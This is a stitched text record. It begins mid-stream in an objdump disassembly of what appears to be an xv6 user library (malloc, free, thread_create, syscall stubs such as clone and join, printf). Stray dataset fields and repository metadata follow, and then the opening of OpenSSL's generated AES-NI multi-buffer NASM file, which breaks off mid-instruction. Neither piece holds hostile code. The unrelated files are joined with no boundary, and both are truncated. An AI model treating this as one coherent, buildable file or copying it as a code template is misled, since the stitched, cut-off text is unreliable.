%eax,0x1bc8 } 1387: 5e pop %esi 1388: 5f pop %edi 1389: 5d pop %ebp 138a: c3 ret 138b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 138f: 90 nop bp->s.size += p->s.ptr->s.size; 1390: 03 72 04 add 0x4(%edx),%esi 1393: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 1396: 8b 10 mov (%eax),%edx 1398: 8b 12 mov (%edx),%edx 139a: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 139d: 8b 50 04 mov 0x4(%eax),%edx 13a0: 8d 34 d0 lea (%eax,%edx,8),%esi 13a3: 39 f1 cmp %esi,%ecx 13a5: 75 d8 jne 137f <free+0x4f> p->s.size += bp->s.size; 13a7: 03 53 fc add -0x4(%ebx),%edx freep = p; 13aa: a3 c8 1b 00 00 mov %eax,0x1bc8 p->s.size += bp->s.size; 13af: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 13b2: 8b 53 f8 mov -0x8(%ebx),%edx 13b5: 89 10 mov %edx,(%eax) } 13b7: 5b pop %ebx 13b8: 5e pop %esi 13b9: 5f pop %edi 13ba: 5d pop %ebp 13bb: c3 ret 13bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000013c0 <malloc>: return freep; } void* malloc(uint nbytes) { 13c0: f3 0f 1e fb endbr32 13c4: 55 push %ebp 13c5: 89 e5 mov %esp,%ebp 13c7: 57 push %edi 13c8: 56 push %esi 13c9: 53 push %ebx 13ca: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 13cd: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 13d0: 8b 3d c8 1b 00 00 mov 0x1bc8,%edi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 13d6: 8d 70 07 lea 0x7(%eax),%esi 13d9: c1 ee 03 shr $0x3,%esi 13dc: 83 c6 01 add $0x1,%esi if((prevp = freep) == 0){ 13df: 85 ff test %edi,%edi 13e1: 0f 84 a9 00 00 00 je 1490 <malloc+0xd0> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 13e7: 8b 07 mov (%edi),%eax if(p->s.size >= nunits){ 13e9: 8b 48 04 mov 0x4(%eax),%ecx 13ec: 39 f1 cmp %esi,%ecx 13ee: 73 6d jae 145d <malloc+0x9d> 13f0: 81 fe 00 10 00 00 cmp $0x1000,%esi 13f6: bb 00 10 00 00 mov $0x1000,%ebx 13fb: 0f 43 de cmovae %esi,%ebx p = sbrk(nu * sizeof(Header)); 13fe: 8d 0c dd 00 00 00 00 lea 0x0(,%ebx,8),%ecx 1405: 89 4d e4 mov %ecx,-0x1c(%ebp) 1408: eb 17 jmp 1421 <malloc+0x61> 140a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 1410: 8b 10 mov (%eax),%edx if(p->s.size >= nunits){ 1412: 8b 4a 04 mov 0x4(%edx),%ecx 1415: 39 f1 cmp %esi,%ecx 1417: 73 4f jae 1468 <malloc+0xa8> 1419: 8b 3d c8 1b 00 00 mov 0x1bc8,%edi 141f: 89 d0 mov %edx,%eax p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 1421: 39 c7 cmp %eax,%edi 1423: 75 eb jne 1410 <malloc+0x50> p = sbrk(nu * sizeof(Header)); 1425: 83 ec 0c sub $0xc,%esp 1428: ff 75 e4 pushl -0x1c(%ebp) 142b: e8 55 01 00 00 call 1585 <sbrk> if(p == (char*)-1) 1430: 83 c4 10 add $0x10,%esp 1433: 83 f8 ff cmp $0xffffffff,%eax 1436: 74 1b je 1453 <malloc+0x93> hp->s.size = nu; 1438: 89 58 04 mov %ebx,0x4(%eax) free((void*)(hp + 1)); 143b: 83 ec 0c sub $0xc,%esp 143e: 83 c0 08 add $0x8,%eax 1441: 50 push %eax 1442: e8 e9 fe ff ff call 1330 <free> return freep; 1447: a1 c8 1b 00 00 mov 0x1bc8,%eax if((p = morecore(nunits)) == 0) 144c: 83 c4 10 add $0x10,%esp 144f: 85 c0 test %eax,%eax 1451: 75 bd jne 1410 <malloc+0x50> return 0; } } 1453: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 1456: 31 c0 xor %eax,%eax } 1458: 5b pop %ebx 1459: 5e pop %esi 145a: 5f pop %edi 145b: 5d pop %ebp 145c: c3 ret if(p->s.size >= nunits){ 145d: 89 c2 mov %eax,%edx 145f: 89 f8 mov %edi,%eax 1461: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 1468: 39 ce cmp %ecx,%esi 146a: 74 54 je 14c0 <malloc+0x100> p->s.size -= nunits; 146c: 29 f1 sub %esi,%ecx 146e: 89 4a 04 mov %ecx,0x4(%edx) p += p->s.size; 1471: 8d 14 ca lea (%edx,%ecx,8),%edx p->s.size = nunits; 1474: 89 72 04 mov %esi,0x4(%edx) freep = prevp; 1477: a3 c8 1b 00 00 mov %eax,0x1bc8 } 147c: 8d 65 f4 lea -0xc(%ebp),%esp return (void*)(p + 1); 147f: 8d 42 08 lea 0x8(%edx),%eax } 1482: 5b pop %ebx 1483: 5e pop %esi 1484: 5f pop %edi 1485: 5d pop %ebp 1486: c3 ret 1487: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 148e: 66 90 xchg %ax,%ax base.s.ptr = freep = prevp = &base; 1490: c7 05 c8 1b 00 00 cc movl $0x1bcc,0x1bc8 1497: 1b 00 00 base.s.size = 0; 149a: bf cc 1b 00 00 mov $0x1bcc,%edi base.s.ptr = freep = prevp = &base; 149f: c7 05 cc 1b 00 00 cc movl $0x1bcc,0x1bcc 14a6: 1b 00 00 for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 14a9: 89 f8 mov %edi,%eax base.s.size = 0; 14ab: c7 05 d0 1b 00 00 00 movl $0x0,0x1bd0 14b2: 00 00 00 if(p->s.size >= nunits){ 14b5: e9 36 ff ff ff jmp 13f0 <malloc+0x30> 14ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi prevp->s.ptr = p->s.ptr; 14c0: 8b 0a mov (%edx),%ecx 14c2: 89 08 mov %ecx,(%eax) 14c4: eb b1 jmp 1477 <malloc+0xb7> 14c6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 14cd: 8d 76 00 lea 0x0(%esi),%esi 000014d0 <thread_create>: { 14d0: f3 0f 1e fb endbr32 14d4: 55 push %ebp 14d5: 89 e5 mov %esp,%ebp 14d7: 83 ec 14 sub $0x14,%esp stack =malloc(4096); //pgsize 14da: 68 00 10 00 00 push $0x1000 14df: e8 dc fe ff ff call 13c0 <malloc> return clone(start_routine,arg1,arg2,stack); 14e4: 50 push %eax 14e5: ff 75 10 pushl 0x10(%ebp) 14e8: ff 75 0c pushl 0xc(%ebp) 14eb: ff 75 08 pushl 0x8(%ebp) 14ee: e8 d2 00 00 00 call 15c5 <clone> } 14f3: c9 leave 14f4: c3 ret 000014f5 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 14f5: b8 01 00 00 00 mov $0x1,%eax 14fa: cd 40 int $0x40 14fc: c3 ret 000014fd <exit>: SYSCALL(exit) 14fd: b8 02 00 00 00 mov $0x2,%eax 1502: cd 40 int $0x40 1504: c3 ret 00001505 <wait>: SYSCALL(wait) 1505: b8 03 00 00 00 mov $0x3,%eax 150a: cd 40 int $0x40 150c: c3 ret 0000150d <pipe>: SYSCALL(pipe) 150d: b8 04 00 00 00 mov $0x4,%eax 1512: cd 40 int $0x40 1514: c3 ret 00001515 <read>: SYSCALL(read) 1515: b8 05 00 00 00 mov $0x5,%eax 151a: cd 40 int $0x40 151c: c3 ret 0000151d <write>: SYSCALL(write) 151d: b8 10 00 00 00 mov $0x10,%eax 1522: cd 40 int $0x40 1524: c3 ret 00001525 <close>: SYSCALL(close) 1525: b8 15 00 00 00 mov $0x15,%eax 152a: cd 40 int $0x40 152c: c3 ret 0000152d <kill>: SYSCALL(kill) 152d: b8 06 00 00 00 mov $0x6,%eax 1532: cd 40 int $0x40 1534: c3 ret 00001535 <exec>: SYSCALL(exec) 1535: b8 07 00 00 00 mov $0x7,%eax 153a: cd 40 int $0x40 153c: c3 ret 0000153d <open>: SYSCALL(open) 153d: b8 0f 00 00 00 mov $0xf,%eax 1542: cd 40 int $0x40 1544: c3 ret 00001545 <mknod>: SYSCALL(mknod) 1545: b8 11 00 00 00 mov $0x11,%eax 154a: cd 40 int $0x40 154c: c3 ret 0000154d <unlink>: SYSCALL(unlink) 154d: b8 12 00 00 00 mov $0x12,%eax 1552: cd 40 int $0x40 1554: c3 ret 00001555 <fstat>: SYSCALL(fstat) 1555: b8 08 00 00 00 mov $0x8,%eax 155a: cd 40 int $0x40 155c: c3 ret 0000155d <link>: SYSCALL(link) 155d: b8 13 00 00 00 mov $0x13,%eax 1562: cd 40 int $0x40 1564: c3 ret 00001565 <mkdir>: SYSCALL(mkdir) 1565: b8 14 00 00 00 mov $0x14,%eax 156a: cd 40 int $0x40 156c: c3 ret 0000156d <chdir>: SYSCALL(chdir) 156d: b8 09 00 00 00 mov $0x9,%eax 1572: cd 40 int $0x40 1574: c3 ret 00001575 <dup>: SYSCALL(dup) 1575: b8 0a 00 00 00 mov $0xa,%eax 157a: cd 40 int $0x40 157c: c3 ret 0000157d <getpid>: SYSCALL(getpid) 157d: b8 0b 00 00 00 mov $0xb,%eax 1582: cd 40 int $0x40 1584: c3 ret 00001585 <sbrk>: SYSCALL(sbrk) 1585: b8 0c 00 00 00 mov $0xc,%eax 158a: cd 40 int $0x40 158c: c3 ret 0000158d <sleep>: SYSCALL(sleep) 158d: b8 0d 00 00 00 mov $0xd,%eax 1592: cd 40 int $0x40 1594: c3 ret 00001595 <uptime>: SYSCALL(uptime) 1595: b8 0e 00 00 00 mov $0xe,%eax 159a: cd 40 int $0x40 159c: c3 ret 0000159d <count>: SYSCALL(count) 159d: b8 16 00 00 00 mov $0x16,%eax 15a2: cd 40 int $0x40 15a4: c3 ret 000015a5 <settickets>: SYSCALL(settickets) 15a5: b8 17 00 00 00 mov $0x17,%eax 15aa: cd 40 int $0x40 15ac: c3 ret 000015ad <getpinfo>: SYSCALL(getpinfo) 15ad: b8 18 00 00 00 mov $0x18,%eax 15b2: cd 40 int $0x40 15b4: c3 ret 000015b5 <mprotect>: SYSCALL(mprotect) 15b5: b8 19 00 00 00 mov $0x19,%eax 15ba: cd 40 int $0x40 15bc: c3 ret 000015bd <munprotect>: SYSCALL(munprotect) 15bd: b8 1a 00 00 00 mov $0x1a,%eax 15c2: cd 40 int $0x40 15c4: c3 ret 000015c5 <clone>: SYSCALL(clone) 15c5: b8 1b 00 00 00 mov $0x1b,%eax 15ca: cd 40 int $0x40 15cc: c3 ret 000015cd <join>: SYSCALL(join) 15cd: b8 1c 00 00 00 mov $0x1c,%eax 15d2: cd 40 int $0x40 15d4: c3 ret 15d5: 66 90 xchg %ax,%ax 15d7: 66 90 xchg %ax,%ax 15d9: 66 90 xchg %ax,%ax 15db: 66 90 xchg %ax,%ax 15dd: 66 90 xchg %ax,%ax 15df: 90 nop 000015e0 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 15e0: 55 push %ebp 15e1: 89 e5 mov %esp,%ebp 15e3: 57 push %edi 15e4: 56 push %esi 15e5: 53 push %ebx 15e6: 83 ec 3c sub $0x3c,%esp 15e9: 89 4d c4 mov %ecx,-0x3c(%ebp) uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 15ec: 89 d1 mov %edx,%ecx { 15ee: 89 45 b8 mov %eax,-0x48(%ebp) if(sgn && xx < 0){ 15f1: 85 d2 test %edx,%edx 15f3: 0f 89 7f 00 00 00 jns 1678 <printint+0x98> 15f9: f6 45 08 01 testb $0x1,0x8(%ebp) 15fd: 74 79 je 1678 <printint+0x98> neg = 1; 15ff: c7 45 bc 01 00 00 00 movl $0x1,-0x44(%ebp) x = -xx; 1606: f7 d9 neg %ecx } else { x = xx; } i = 0; 1608: 31 db xor %ebx,%ebx 160a: 8d 75 d7 lea -0x29(%ebp),%esi 160d: 8d 76 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 1610: 89 c8 mov %ecx,%eax 1612: 31 d2 xor %edx,%edx 1614: 89 cf mov %ecx,%edi 1616: f7 75 c4 divl -0x3c(%ebp) 1619: 0f b6 92 80 18 00 00 movzbl 0x1880(%edx),%edx 1620: 89 45 c0 mov %eax,-0x40(%ebp) 1623: 89 d8 mov %ebx,%eax 1625: 8d 5b 01 lea 0x1(%ebx),%ebx }while((x /= base) != 0); 1628: 8b 4d c0 mov -0x40(%ebp),%ecx buf[i++] = digits[x % base]; 162b: 88 14 1e mov %dl,(%esi,%ebx,1) }while((x /= base) != 0); 162e: 39 7d c4 cmp %edi,-0x3c(%ebp) 1631: 76 dd jbe 1610 <printint+0x30> if(neg) 1633: 8b 4d bc mov -0x44(%ebp),%ecx 1636: 85 c9 test %ecx,%ecx 1638: 74 0c je 1646 <printint+0x66> buf[i++] = '-'; 163a: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1) buf[i++] = digits[x % base]; 163f: 89 d8 mov %ebx,%eax buf[i++] = '-'; 1641: ba 2d 00 00 00 mov $0x2d,%edx while(--i >= 0) 1646: 8b 7d b8 mov -0x48(%ebp),%edi 1649: 8d 5c 05 d7 lea -0x29(%ebp,%eax,1),%ebx 164d: eb 07 jmp 1656 <printint+0x76> 164f: 90 nop 1650: 0f b6 13 movzbl (%ebx),%edx 1653: 83 eb 01 sub $0x1,%ebx write(fd, &c, 1); 1656: 83 ec 04 sub $0x4,%esp 1659: 88 55 d7 mov %dl,-0x29(%ebp) 165c: 6a 01 push $0x1 165e: 56 push %esi 165f: 57 push %edi 1660: e8 b8 fe ff ff call 151d <write> while(--i >= 0) 1665: 83 c4 10 add $0x10,%esp 1668: 39 de cmp %ebx,%esi 166a: 75 e4 jne 1650 <printint+0x70> putc(fd, buf[i]); } 166c: 8d 65 f4 lea -0xc(%ebp),%esp 166f: 5b pop %ebx 1670: 5e pop %esi 1671: 5f pop %edi 1672: 5d pop %ebp 1673: c3 ret 1674: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; 1678: c7 45 bc 00 00 00 00 movl $0x0,-0x44(%ebp) 167f: eb 87 jmp 1608 <printint+0x28> 1681: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1688: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 168f: 90 nop 00001690 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 1690: f3 0f 1e fb endbr32 1694: 55 push %ebp 1695: 89 e5 mov %esp,%ebp 1697: 57 push %edi 1698: 56 push %esi 1699: 53 push %ebx 169a: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 169d: 8b 75 0c mov 0xc(%ebp),%esi 16a0: 0f b6 1e movzbl (%esi),%ebx 16a3: 84 db test %bl,%bl 16a5: 0f 84 b4 00 00 00 je 175f <printf+0xcf> ap = (uint*)(void*)&fmt + 1; 16ab: 8d 45 10 lea 0x10(%ebp),%eax 16ae: 83 c6 01 add $0x1,%esi write(fd, &c, 1); 16b1: 8d 7d e7 lea -0x19(%ebp),%edi state = 0; 16b4: 31 d2 xor %edx,%edx ap = (uint*)(void*)&fmt + 1; 16b6: 89 45 d0 mov %eax,-0x30(%ebp) 16b9: eb 33 jmp 16ee <printf+0x5e> 16bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 16bf: 90 nop 16c0: 89 55 d4 mov %edx,-0x2c(%ebp) c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ state = '%'; 16c3: ba 25 00 00 00 mov $0x25,%edx if(c == '%'){ 16c8: 83 f8 25 cmp $0x25,%eax 16cb: 74 17 je 16e4 <printf+0x54> write(fd, &c, 1); 16cd: 83 ec 04 sub $0x4,%esp 16d0: 88 5d e7 mov %bl,-0x19(%ebp) 16d3: 6a 01 push $0x1 16d5: 57 push %edi 16d6: ff 75 08 pushl 0x8(%ebp) 16d9: e8 3f fe ff ff call 151d <write> 16de: 8b 55 d4 mov -0x2c(%ebp),%edx } else { putc(fd, c); 16e1: 83 c4 10 add $0x10,%esp for(i = 0; fmt[i]; i++){ 16e4: 0f b6 1e movzbl (%esi),%ebx 16e7: 83 c6 01 add $0x1,%esi 16ea: 84 db test %bl,%bl 16ec: 74 71 je 175f <printf+0xcf> c = fmt[i] & 0xff; 16ee: 0f be cb movsbl %bl,%ecx 16f1: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 16f4: 85 d2 test %edx,%edx 16f6: 74 c8 je 16c0 <printf+0x30> } } else if(state == '%'){ 16f8: 83 fa 25 cmp $0x25,%edx 16fb: 75 e7 jne 16e4 <printf+0x54> if(c == 'd'){ 16fd: 83 f8 64 cmp $0x64,%eax 1700: 0f 84 9a 00 00 00 je 17a0 <printf+0x110> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 1706: 81 e1 f7 00 00 00 and $0xf7,%ecx 170c: 83 f9 70 cmp $0x70,%ecx 170f: 74 5f je 1770 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 1711: 83 f8 73 cmp $0x73,%eax 1714: 0f 84 d6 00 00 00 je 17f0 <printf+0x160> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 171a: 83 f8 63 cmp $0x63,%eax 171d: 0f 84 8d 00 00 00 je 17b0 <printf+0x120> putc(fd, *ap); ap++; } else if(c == '%'){ 1723: 83 f8 25 cmp $0x25,%eax 1726: 0f 84 b4 00 00 00 je 17e0 <printf+0x150> write(fd, &c, 1); 172c: 83 ec 04 sub $0x4,%esp 172f: c6 45 e7 25 movb $0x25,-0x19(%ebp) 1733: 6a 01 push $0x1 1735: 57 push %edi 1736: ff 75 08 pushl 0x8(%ebp) 1739: e8 df fd ff ff call 151d <write> putc(fd, c); } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); 173e: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 1741: 83 c4 0c add $0xc,%esp 1744: 6a 01 push $0x1 1746: 83 c6 01 add $0x1,%esi 1749: 57 push %edi 174a: ff 75 08 pushl 0x8(%ebp) 174d: e8 cb fd ff ff call 151d <write> for(i = 0; fmt[i]; i++){ 1752: 0f b6 5e ff movzbl -0x1(%esi),%ebx putc(fd, c); 1756: 83 c4 10 add $0x10,%esp } state = 0; 1759: 31 d2 xor %edx,%edx for(i = 0; fmt[i]; i++){ 175b: 84 db test %bl,%bl 175d: 75 8f jne 16ee <printf+0x5e> } } } 175f: 8d 65 f4 lea -0xc(%ebp),%esp 1762: 5b pop %ebx 1763: 5e pop %esi 1764: 5f pop %edi 1765: 5d pop %ebp 1766: c3 ret 1767: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 176e: 66 90 xchg %ax,%ax printint(fd, *ap, 16, 0); 1770: 83 ec 0c sub $0xc,%esp 1773: b9 10 00 00 00 mov $0x10,%ecx 1778: 6a 00 push $0x0 177a: 8b 5d d0 mov -0x30(%ebp),%ebx 177d: 8b 45 08 mov 0x8(%ebp),%eax 1780: 8b 13 mov (%ebx),%edx 1782: e8 59 fe ff ff call 15e0 <printint> ap++; 1787: 89 d8 mov %ebx,%eax 1789: 83 c4 10 add $0x10,%esp state = 0; 178c: 31 d2 xor %edx,%edx ap++; 178e: 83 c0 04 add $0x4,%eax 1791: 89 45 d0 mov %eax,-0x30(%ebp) 1794: e9 4b ff ff ff jmp 16e4 <printf+0x54> 1799: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi printint(fd, *ap, 10, 1); 17a0: 83 ec 0c sub $0xc,%esp 17a3: b9 0a 00 00 00 mov $0xa,%ecx 17a8: 6a 01 push $0x1 17aa: eb ce jmp 177a <printf+0xea> 17ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi putc(fd, *ap); 17b0: 8b 5d d0 mov -0x30(%ebp),%ebx write(fd, &c, 1); 17b3: 83 ec 04 sub $0x4,%esp putc(fd, *ap); 17b6: 8b 03 mov (%ebx),%eax write(fd, &c, 1); 17b8: 6a 01 push $0x1 ap++; 17ba: 83 c3 04 add $0x4,%ebx write(fd, &c, 1); 17bd: 57 push %edi 17be: ff 75 08 pushl 0x8(%ebp) putc(fd, *ap); 17c1: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 17c4: e8 54 fd ff ff call 151d <write> ap++; 17c9: 89 5d d0 mov %ebx,-0x30(%ebp) 17cc: 83 c4 10 add $0x10,%esp state = 0; 17cf: 31 d2 xor %edx,%edx 17d1: e9 0e ff ff ff jmp 16e4 <printf+0x54> 17d6: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 17dd: 8d 76 00 lea 0x0(%esi),%esi putc(fd, c); 17e0: 88 5d e7 mov %bl,-0x19(%ebp) write(fd, &c, 1); 17e3: 83 ec 04 sub $0x4,%esp 17e6: e9 59 ff ff ff jmp 1744 <printf+0xb4> 17eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 17ef: 90 nop s = (char*)*ap; 17f0: 8b 45 d0 mov -0x30(%ebp),%eax 17f3: 8b 18 mov (%eax),%ebx ap++; 17f5: 83 c0 04 add $0x4,%eax 17f8: 89 45 d0 mov %eax,-0x30(%ebp) if(s == 0) 17fb: 85 db test %ebx,%ebx 17fd: 74 17 je 1816 <printf+0x186> while(*s != 0){ 17ff: 0f b6 03 movzbl (%ebx),%eax state = 0; 1802: 31 d2 xor %edx,%edx while(*s != 0){ 1804: 84 c0 test %al,%al 1806: 0f 84 d8 fe ff ff je 16e4 <printf+0x54> 180c: 89 75 d4 mov %esi,-0x2c(%ebp) 180f: 89 de mov %ebx,%esi 1811: 8b 5d 08 mov 0x8(%ebp),%ebx 1814: eb 1a jmp 1830 <printf+0x1a0> s = "(null)"; 1816: bb 78 18 00 00 mov $0x1878,%ebx while(*s != 0){ 181b: 89 75 d4 mov %esi,-0x2c(%ebp) 181e: b8 28 00 00 00 mov $0x28,%eax 1823: 89 de mov %ebx,%esi 1825: 8b 5d 08 mov 0x8(%ebp),%ebx 1828: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 182f: 90 nop write(fd, &c, 1); 1830: 83 ec 04 sub $0x4,%esp s++; 1833: 83 c6 01 add $0x1,%esi 1836: 88 45 e7 mov %al,-0x19(%ebp) write(fd, &c, 1); 1839: 6a 01 push $0x1 183b: 57 push %edi 183c: 53 push %ebx 183d: e8 db fc ff ff call 151d <write> while(*s != 0){ 1842: 0f b6 06 movzbl (%esi),%eax 1845: 83 c4 10 add $0x10,%esp 1848: 84 c0 test %al,%al 184a: 75 e4 jne 1830 <printf+0x1a0> 184c: 8b 75 d4 mov -0x2c(%ebp),%esi state = 0; 184f: 31 d2 xor %edx,%edx 1851: e9 8e fe ff ff jmp 16e4 <printf+0x54>
35.87979
63
0.409352
1a3ed1dd35ecf1100500de2f264422e174ece409
19,727
nasm
Assembly
CryptoPkg/Library/OpensslLib/X64/crypto/aes/aesni-mb-x86_64.nasm
nicklela/edk2
dfafa8e45382939fb5dc78e9d37b97b500a43613
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
3,012
2015-01-01T19:58:18.000Z
2022-03-31T22:07:14.000Z
CryptoPkg/Library/OpensslLib/X64/crypto/aes/aesni-mb-x86_64.nasm
nicklela/edk2
dfafa8e45382939fb5dc78e9d37b97b500a43613
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
1,199
2015-01-12T08:00:01.000Z
2022-03-29T18:14:42.000Z
CryptoPkg/Library/OpensslLib/X64/crypto/aes/aesni-mb-x86_64.nasm
nicklela/edk2
dfafa8e45382939fb5dc78e9d37b97b500a43613
[ "Python-2.0", "Zlib", "BSD-2-Clause", "MIT", "BSD-2-Clause-Patent", "BSD-3-Clause" ]
1,850
2015-01-01T11:28:12.000Z
2022-03-31T18:10:59.000Z
; WARNING: do not edit! ; Generated from openssl/crypto/aes/asm/aesni-mb-x86_64.pl ; ; Copyright 2013-2020 The OpenSSL Project Authors. All Rights Reserved. ; ; Licensed under the OpenSSL license (the "License"). You may not use ; this file except in compliance with the License. You can obtain a copy ; in the file LICENSE in the source distribution or at ; https://www.openssl.org/source/license.html default rel %define XMMWORD %define YMMWORD %define ZMMWORD section .text code align=64 EXTERN OPENSSL_ia32cap_P global aesni_multi_cbc_encrypt ALIGN 32 aesni_multi_cbc_encrypt: mov QWORD[8+rsp],rdi ;WIN64 prologue mov QWORD[16+rsp],rsi mov rax,rsp $L$SEH_begin_aesni_multi_cbc_encrypt: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rax,rsp push rbx push rbp push r12 push r13 push r14 push r15 lea rsp,[((-168))+rsp] movaps XMMWORD[rsp],xmm6 movaps XMMWORD[16+rsp],xmm7 movaps XMMWORD[32+rsp],xmm8 movaps XMMWORD[48+rsp],xmm9 movaps XMMWORD[64+rsp],xmm10 movaps XMMWORD[80+rsp],xmm11 movaps XMMWORD[96+rsp],xmm12 movaps XMMWORD[(-104)+rax],xmm13 movaps XMMWORD[(-88)+rax],xmm14 movaps XMMWORD[(-72)+rax],xmm15 sub rsp,48 and rsp,-64 mov QWORD[16+rsp],rax $L$enc4x_body: movdqu xmm12,XMMWORD[rsi] lea rsi,[120+rsi] lea rdi,[80+rdi] $L$enc4x_loop_grande: mov DWORD[24+rsp],edx xor edx,edx mov ecx,DWORD[((-64))+rdi] mov r8,QWORD[((-80))+rdi] cmp ecx,edx mov r12,QWORD[((-72))+rdi] cmovg edx,ecx test ecx,ecx movdqu xmm2,XMMWORD[((-56))+rdi] mov DWORD[32+rsp],ecx cmovle r8,rsp mov ecx,DWORD[((-24))+rdi] mov r9,QWORD[((-40))+rdi] cmp ecx,edx mov r13,QWORD[((-32))+rdi] cmovg edx,ecx test ecx,ecx movdqu xmm3,XMMWORD[((-16))+rdi] mov DWORD[36+rsp],ecx cmovle r9,rsp mov ecx,DWORD[16+rdi] mov r10,QWORD[rdi] cmp ecx,edx mov r14,QWORD[8+rdi] cmovg edx,ecx test ecx,ecx movdqu xmm4,XMMWORD[24+rdi] mov DWORD[40+rsp],ecx cmovle r10,rsp mov ecx,DWORD[56+rdi] mov r11,QWORD[40+rdi] cmp ecx,edx mov r15,QWORD[48+rdi] cmovg edx,ecx test ecx,ecx movdqu xmm5,XMMWORD[64+rdi] mov DWORD[44+rsp],ecx cmovle r11,rsp test edx,edx jz NEAR $L$enc4x_done movups xmm1,XMMWORD[((16-120))+rsi] pxor xmm2,xmm12 movups xmm0,XMMWORD[((32-120))+rsi] pxor xmm3,xmm12 mov eax,DWORD[((240-120))+rsi] pxor xmm4,xmm12 movdqu xmm6,XMMWORD[r8] pxor xmm5,xmm12 movdqu xmm7,XMMWORD[r9] pxor xmm2,xmm6 movdqu xmm8,XMMWORD[r10] pxor xmm3,xmm7 movdqu xmm9,XMMWORD[r11] pxor xmm4,xmm8 pxor xmm5,xmm9 movdqa xmm10,XMMWORD[32+rsp] xor rbx,rbx jmp NEAR $L$oop_enc4x ALIGN 32 $L$oop_enc4x: add rbx,16 lea rbp,[16+rsp] mov ecx,1 sub rbp,rbx DB 102,15,56,220,209 prefetcht0 [31+rbx*1+r8] prefetcht0 [31+rbx*1+r9] DB 102,15,56,220,217 prefetcht0 [31+rbx*1+r10] prefetcht0 [31+rbx*1+r10] DB 102,15,56,220,225 DB 102,15,56,220,233 movups xmm1,XMMWORD[((48-120))+rsi] cmp ecx,DWORD[32+rsp] DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 cmovge r8,rbp cmovg r12,rbp DB 102,15,56,220,232 movups xmm0,XMMWORD[((-56))+rsi] cmp ecx,DWORD[36+rsp] DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 cmovge r9,rbp cmovg r13,rbp DB 102,15,56,220,233 movups xmm1,XMMWORD[((-40))+rsi] cmp ecx,DWORD[40+rsp] DB 102,15,56,220,208 DB 102,15,56,220,216 DB 102,15,56,220,224 cmovge r10,rbp cmovg r14,rbp DB 102,15,56,220,232 movups xmm0,XMMWORD[((-24))+rsi] cmp ecx,DWORD[44+rsp] DB 102,15,56,220,209 DB 102,15,56,220,217 DB 102,15,56,220,225 cmovge r11,rbp cmovg r15,rbp DB 102,15,56,220,233 movups xmm1,XMMWORD[((-8))+rsi] movdqa xmm11,xmm10 DB 102,15,56,220,208 prefetcht0 [15+rbx*1+r12] prefetcht0 [15+rbx*1+r13] DB 102,15,56,220,216 prefetcht0 [15+rbx*1+r14] prefetcht0 [15+rbx*1+r15] DB 102,15,56,220,224 DB 102,15,56,220,232 movups xmm0,XMMWORD[((128-120))+rsi] pxor xmm12,xmm12 DB 102,15,56,220,209 pcmpgtd xmm11,xmm12 movdqu xmm12,XMMWORD[((-120))+rsi] DB 102,15,56,220,217 paddd xmm10,xmm11 movdqa XMMWORD[32+rsp],xmm10 DB 102,15,56,220,225 DB 102,15,56,220,233 movups 